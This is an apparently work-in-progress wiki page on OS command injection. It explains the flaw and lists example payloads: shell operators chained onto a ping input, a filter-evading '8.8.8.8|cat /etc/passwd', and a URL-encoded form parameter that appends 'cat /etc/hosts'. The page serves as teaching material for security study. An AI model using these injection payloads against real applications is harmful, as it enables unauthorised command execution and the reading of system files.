> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/os-command-injection-wip.md).

# OS Command injection (WIP)

Allow to execute arbitrary system commands on a host operating system via a vulnerable application. Normally happens when a web application takes a user-supplied input and passes it directly to a shell interpreter.

We can find a typical example of this vulnerability as follows:

* When internally using functions like *system* or *shell\_exec* which pass input to an internal command interpreter

{% code overflow="wrap" lineNumbers="true" fullWidth="false" %}

```bash
#We send a petition with a command
curl -X POST http://url/? -d "cmd=whoami"
#If being handled by system(), it will respond with the output of the command, letting us we can talk to the internal shell
```

{% endcode %}

***

* In some cases, the application will receive input and redirect it to an internal command executed in the server shell

{% code overflow="wrap" lineNumbers="true" %}

```bash
#A form receives the IP as input and executes the ping command
8.8.8.8
#Example output
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=26.4 ms
...
#Ww see that it works like the following command inside
ping $input
```

{% endcode %}

***

* We can abuse this input to add other commands using the command operators

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">8.8.8.8; ls -la
<strong>8.8.8.8 &#x26; ls -la    
</strong>8.8.8.8 &#x26;&#x26; ls -la
8.8.8.8 | ls -la
8.8.8.8 || ls -la
</code></pre>

***

* Sometimes it could be sanitized to detect these symbols, so to avoid detection, we can combine operators and commands into a single string, which helps bypass filtering

{% code overflow="wrap" lineNumbers="true" %}

```bash
8.8.8.8|cat /etc/passwd
```

{% endcode %}

***

* This could also work on request parameters that are passed to an internal OS command

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>#Example, the parameters are pass to and 
</strong><strong>Content-Type: application/x-www-form-urlencoded
</strong>Id=15&#x26;name=a

# We could concatenate commands
Content-Type: application/x-www-form-urlencoded
Id=15&#x26;name=a%26cat%20%2fetc%2fhosts #Concatenating |cat /etc/hosts
</code></pre>
